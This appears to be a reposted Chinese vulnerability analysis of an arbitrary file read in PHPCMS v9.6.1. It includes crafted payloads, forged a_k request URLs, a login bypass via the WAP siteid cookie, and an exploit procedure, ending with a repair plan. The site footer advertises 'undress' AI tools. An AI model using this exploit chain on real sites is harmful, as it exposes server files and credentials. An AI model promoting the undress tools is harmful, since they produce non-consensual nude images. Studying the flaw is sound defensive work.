Table of Contents
1.准备工作&漏洞关键点快速扫描
1.1前置知识
1.2 快速扫描
1.2 content/down模块大致流程分析
1.2.1$fileurl变量构造分析
1.2.2$a_k变量分析
1.2.3小结
2.漏洞挖掘过程
2.1 init方法所接受的$a_k构造
2.1.1探索正常流程中的$a_k构造过程
2.1.2 黑科技构造$a_k
2.2 json和parse_str
2.3 构造符合init方法的$a_k
2.4绕过限制构造最终payload
2.4.1 urlencode编码“<>”
2.4.2最终payload
2.5绕过attachment模块权限限制完成无限制利用
3.EXP编写
4. Repair plan
Home CMS Tutorial PHPCMS Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1

Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1

Dec 15, 2020 pm 05:24 PM
php web security loopholes cyber security

<h2> <a href="//m.sbmmt.com/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘<br> </h2> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" class="lazy" alt="Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1" ></p> <p>推荐(免费):<a href="//m.sbmmt.com/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p> <p>看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。</p> <h2 id="准备工作-amp-漏洞关键点快速扫描">1.准备工作&漏洞关键点快速扫描</h2> <h3 id="前置知识">1.1前置知识</h3> <p>这里把本次分析中需要掌握的知识梳理了下:</p> <ol> <li><p>php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。</p></li> <li><p>原生empty方法,对字符串""返回true。</p></li> <li><p>phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。</p></li> </ol> <h3 id="快速扫描">1.2 快速扫描</h3> <p>先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:</p> <pre class="brush:php;toolbar:false">--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                 if(isset($i)) $i = $id = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters'));                 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));                 if(empty($f)) showmessage(L('url_invalid'));                 $allow_visitor = 1; +               $id = intval($id);^M +               $modelid  = intval($modelid);^M +               $catid  = intval($catid);^M                 $MODEL = getcache('model','commons');                 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];                 $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f,$t,$ip); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                                 if(isset($i)) $downid = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down {                                 }                                 $ext = fileext($filename);                                 $filename = date('Ymd_his').random(3).'.'.$ext; +                               $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);^M                                 file_down($fileurl, $filename);                         }                 }</pre> <p>主要修改了两个方法<code>init()</code>和<code>download()</code>,大胆的猜想估计是这两个函数出问题了。</p> <pre class="brush:php;toolbar:false">public function init() {         $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f);         $a_k = safe_replace($a_k);//关键点2         parse_str($a_k);//关键点3         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);   ......     if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {             $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');             $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5             $downurl = '?m=content&c=down&a=download&a_k='.$a_k;         } else {             $downurl = $f;                     } }</pre> <pre class="brush:php;toolbar:false">    public function download() {         $a_k = trim($_GET['a_k']);         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f,$t,$ip);         $a_k = safe_replace($a_k);//关键点7         parse_str($a_k);//关键点8         if(isset($i)) $downid = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         if(!$i || $m<0) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($t)) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($ip)) showmessage(L(&#39;illegal_parameters&#39;)); $starttime = intval($t); if(preg_match(&#39;/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i&#39;,$f) || strpos($f, ":\\")!==FALSE || strpos($f,&#39;..&#39;)!==FALSE) showmessage(L(&#39;url_error&#39;));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(&#39;illegal_parameters&#39;)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid'));         if($m) $fileurl = trim($s).trim($fileurl);//关键点10         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11         //远程文件         if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12             header("Location: $fileurl");         } else {             if($d == 0) {                 header("Location: ".$fileurl);//关键点13             } else {                 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);                 $filename = basename($fileurl);//关键点14                 //处理中文文件                 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {                     $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));                     $filename = urldecode(basename($filename));//关键点15                 }                 $ext = fileext($filename);//关键点16                 $filename = date('Ymd_his').random(3).'.'.$ext;                 $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17                 file_down($fileurl, $filename);//关键点18             }         }     }</pre> <p>safe_replace函数如下</p> <pre class="brush:php;toolbar:false">function safe_replace($string) {     $string = str_replace('%20','',$string);     $string = str_replace('%27','',$string);     $string = str_replace('%2527','',$string);     $string = str_replace('*','',$string);     $string = str_replace('"','&quot;',$string);     $string = str_replace("'",'',$string);     $string = str_replace('"','',$string);     $string = str_replace(';','',$string);     $string = str_replace('<&#39;,&#39;&lt;&#39;,$string); $string = str_replace(&#39;>','&gt;',$string);     $string = str_replace("{",'',$string);     $string = str_replace('}','',$string);     $string = str_replace('\\','',$string);     return $string; }</pre> <h4 id="content-down模块大致流程分析">1.2 content/down模块大致流程分析</h4> <ol><li><p>init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用</p></li></ol> <p>download方法的url,url的schema为<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必须符合一定条件。)</p> <ol><li><p>download方法接收到$a_k,进行解码,解出文件信息,调用<code>file_down($fileurl, $filename)</code>( 必须符合一定条件)</p></li></ol> <p>我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!</p> <pre class="brush:php;toolbar:false">function file_down($filepath, $filename = '') {     if(!$filename) $filename = basename($filepath);     if(is_ie()) $filename = rawurlencode($filename);     $filetype = fileext($filename);     $filesize = sprintf("%u", filesize($filepath));     if(ob_get_length() !== false) @ob_end_clean();     header('Pragma: public');     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');     header('Cache-Control: no-store, no-cache, must-revalidate');     header('Cache-Control: pre-check=0, post-check=0, max-age=0');     header('Content-Transfer-Encoding: binary');     header('Content-Encoding: none');     header('Content-type: '.$filetype);     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-length: '.$filesize);     readfile($filepath);     exit; }</pre> <h4 id="fileurl变量构造分析">1.2.1$fileurl变量构造分析</h4> <p>如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>那么可以想到我们构造出符合<code>.ph([<>]+)p</code>的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。</p> <p>再向上上看</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。</p> <pre class="brush:php;toolbar:false">$fileurl = trim($f);</pre> <pre class="brush:php;toolbar:false">$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8</pre> <p>通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。</p> <h4 id="a-k变量分析">1.2.2$a_k变量分析</h4> <p>再向上看</p> <pre class="brush:php;toolbar:false">$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);</pre> <p>这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。</p> <p>我们现在来看下init方法</p> <pre class="brush:php;toolbar:false">        $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1</pre> <p>这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。</p> <h4 id="小结">1.2.3小结</h4> <p>总结一下:</p> <p>index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。</p> <p>然后init方法会构造出符合download方法中能够解密的$a_k。</p> <p>通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。</p> <h2 id="漏洞挖掘过程">2.漏洞挖掘过程</h2> <h3 id="init方法所接受的-a-k构造">2.1 init方法所接受的$a_k构造</h3> <h4 id="探索正常流程中的-a-k构造过程">2.1.1探索正常流程中的$a_k构造过程</h4> <p>对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。</p> <p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k</p> <pre class="brush:php;toolbar:false">    function downfile($field, $value) {         extract(string2array($this->fields[$field]['setting']));         $list_str = array();         if($value){             $value_arr = explode('|',$value);             $fileurl = $value_arr['0'];             if($fileurl) {                 $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';                 $server_list = getcache('downservers','commons');                 if(is_array($server_list)) {                     foreach($server_list as $_k=>$_v) {                         if($value && is_array($sel_server) && in_array($_k,$sel_server)) {                             $downloadurl = $_v[siteurl].$fileurl;                             if($downloadlink) {                                 $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));                                 $list_str[] = "<a href=&#39;".APP_PATH."index.php?m=content&c=down&a_k={$a_k}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             } else {                                 $list_str[] = "<a href=&#39;{$downloadurl}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             }                         }                     }                 }                     return $list_str;             }         }      }</pre> <p>但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。</p> <h4 id="黑科技构造-a-k">2.1.2 黑科技构造$a_k</h4> <p>由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文</p> <ol> <li><p>方式是ENCODE</p></li> <li><p>Auth_key是系统默认的即:pc_base::load_config('system','auth_key')</p></li> <li><p>且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)</p></li> <li><p>加密后的数据有回显的。</p></li> </ol> <p>共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到</p> <pre class="brush:php;toolbar:false">public static function set_cookie($var, $value = '', $time = 0) {         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;         $var = pc_base::load_config('system','cookie_pre').$var;         $_COOKIE[$var] = $value;         if (is_array($value)) {             foreach($value as $k=>$v) {                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);             }         } else {             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);         }     }     public static function get_cookie($var, $default = '') {         $var = pc_base::load_config('system','cookie_pre').$var;         return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;     }</pre> <p>param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。</p> <p>马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。</p> <ol> <li><p>set_cookie的内容是可控的。</p></li> <li><p>set_cookie的触发条件尽可能的限制小。</p></li> </ol> <p>一共找到122个匹配项,找到了两个比较好的触发点。</p> <p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p> <p>video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。</p> <p>我们来看下swfupload_json</p> <pre class="brush:php;toolbar:false">    public function swfupload_json() {         $arr['aid'] = intval($_GET['aid']);         $arr['src'] = safe_replace(trim($_GET['src']));         $arr['filename'] = urlencode(safe_replace($_GET['filename']));         $json_str = json_encode($arr);         $att_arr_exist = param::get_cookie('att_json');         $att_arr_exist_tmp = explode('||', $att_arr_exist);         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {             return true;         } else {             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;             param::set_cookie('att_json',$json_str);             return true;                     }     }</pre> <p>我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。</p> <p>我们注册个用户登录之后,调用</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre> <p>产生的数据会是</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre> <p>然后我们得到response.header中的set-cookie ["att_json"]。</p> <pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>我们修改下down.php->init方法,把DECODE之后的$a_k输出来。</p> <p>然后我们调用</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>激动人心,init方法成功DECODE了$a_k</p> <p>好了目前验证了我们的想法可行,接下来应该构造可用的payload了。</p> <h3 id="json和parse-str">2.2 json和parse_str</h3> <p>目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre> <p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p> <p>说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre> <p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。</p> <h3 id="构造符合init方法的-a-k">2.3 构造符合init方法的$a_k</h3> <p>我们先构造一个符合init方法的$a_k使得能完成正常的流程。</p> <pre class="brush:php;toolbar:false">        if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);</pre> <p>构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1  src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre> <p>得到</p> <pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre> <p>然后提交</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre> <p>成功!页面已经生成了调用download方法的url</p> <pre class="brush:php;toolbar:false"></head> <body>     <style type="text/css">          body, html{ background:#FFF!important;}     </style>         <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>     </body> </html></pre> <h3 id="绕过限制构造最终payload">2.4绕过限制构造最终payload</h3> <p>目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中</p> <pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {     $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');     $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));     $downurl = '?m=content&c=down&a=download&a_k='.$a_k;     } else {         $downurl = $f;                 }</pre> <p>对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"</p> <p>还好我们看到download函数中</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。</p> <p>在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。</p> <pre class="brush:php;toolbar:false">//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));     $fileurl = trim($f);</pre> <p>通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));         //远程文件</pre> <p>好在快速扫描中看到的</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>另外又看到</p> <pre class="brush:php;toolbar:false">if($d == 0) {     header("Location: ".$fileurl);</pre> <h4 id="urlencode编码-lt-gt">2.4.1 urlencode编码“<>”</h4> <p>那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。</p><p>最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。</p><p>所以可以构造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我们发现在init方法中会safe_replace一次,和parse_str一次。</p><p>那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。</p><p>所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>当然要读取别的目录的,那同样对目录路径进行编码。</p><h3 id="最终payload">2.4.2最终payload</h3><p>以读取首页index.php为例</p><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><p>最终提示下载文件,文件下载成功,打开来看确实是index.php内容。</p><h3 id="绕过attachment模块权限限制完成无限制利用">2.5绕过attachment模块权限限制完成无限制利用</h3><pre class="brush:php;toolbar:false">class attachments { private $att_db; function __construct() { pc_base::load_app_func(&#39;global&#39;); $this->upload_url = pc_base::load_config('system','upload_url');         $this->upload_path = pc_base::load_config('system','upload_path');                 $this->imgext = array('jpg','gif','png','bmp','jpeg');         $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));         $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;         $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;         //判断是否登录         if(empty($this->userid)){             showmessage(L('please_login','','member'));         }     }</p> <p>可以发现</p> <pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre> <p>可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。</p> <p>全文找下无限制可以set_cookie的,发现WAP模块可以利用</p> <pre class="brush:php;toolbar:false">pc_base::load_sys_class('format', '', 0); class index {     function __construct() {                 $this->db = pc_base::load_model('content_model');         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);         param::set_cookie('siteid',$this->siteid);             $this->wap_site = getcache('wap_site','wap');         $this->types = getcache('wap_type','wap');         $this->wap = $this->wap_site[$this->siteid];         define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);         if($this->wap['status']!=1) exit(L('wap_close_status'));     }</pre> <p>没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。</p> <h2 id="EXP编写">3.EXP编写</h2> <p>流程如下:</p> <ol> <li><p>index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。</p></li> <li> <p>访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p> <pre class="brush:php;toolbar:false">&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.</pre> </li> </ol> <p>响应成功之后,获取名称为att_json的cookie</p> <ol><li><p>访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,</p></li></ol> <p>可以直接截取生成的$a_k</p> <ol><li><p>访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol> <h2 id="Repair-plan">4. Repair plan</h2> <p>Do not use the default key for $a_k in the init method to encrypt and decrypt sys_auth. </p> <p>Filter $fileurl again before file_down. </p>

The above is the detailed content of Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to use PHP to build social sharing functions PHP sharing interface integration practice How to use PHP to build social sharing functions PHP sharing interface integration practice Jul 25, 2025 pm 08:51 PM

The core method of building social sharing functions in PHP is to dynamically generate sharing links that meet the requirements of each platform. 1. First get the current page or specified URL and article information; 2. Use urlencode to encode the parameters; 3. Splice and generate sharing links according to the protocols of each platform; 4. Display links on the front end for users to click and share; 5. Dynamically generate OG tags on the page to optimize sharing content display; 6. Be sure to escape user input to prevent XSS attacks. This method does not require complex authentication, has low maintenance costs, and is suitable for most content sharing needs.

PHP integrated AI intelligent picture recognition PHP visual content automatic labeling PHP integrated AI intelligent picture recognition PHP visual content automatic labeling Jul 25, 2025 pm 05:42 PM

The core idea of integrating AI visual understanding capabilities into PHP applications is to use the third-party AI visual service API, which is responsible for uploading images, sending requests, receiving and parsing JSON results, and storing tags into the database; 2. Automatic image tagging can significantly improve efficiency, enhance content searchability, optimize management and recommendation, and change visual content from "dead data" to "live data"; 3. Selecting AI services requires comprehensive judgments based on functional matching, accuracy, cost, ease of use, regional delay and data compliance, and it is recommended to start from general services such as Google CloudVision; 4. Common challenges include network timeout, key security, error processing, image format limitation, cost control, asynchronous processing requirements and AI recognition accuracy issues.

PHP creates a blog comment system to monetize PHP comment review and anti-brush strategy PHP creates a blog comment system to monetize PHP comment review and anti-brush strategy Jul 25, 2025 pm 08:27 PM

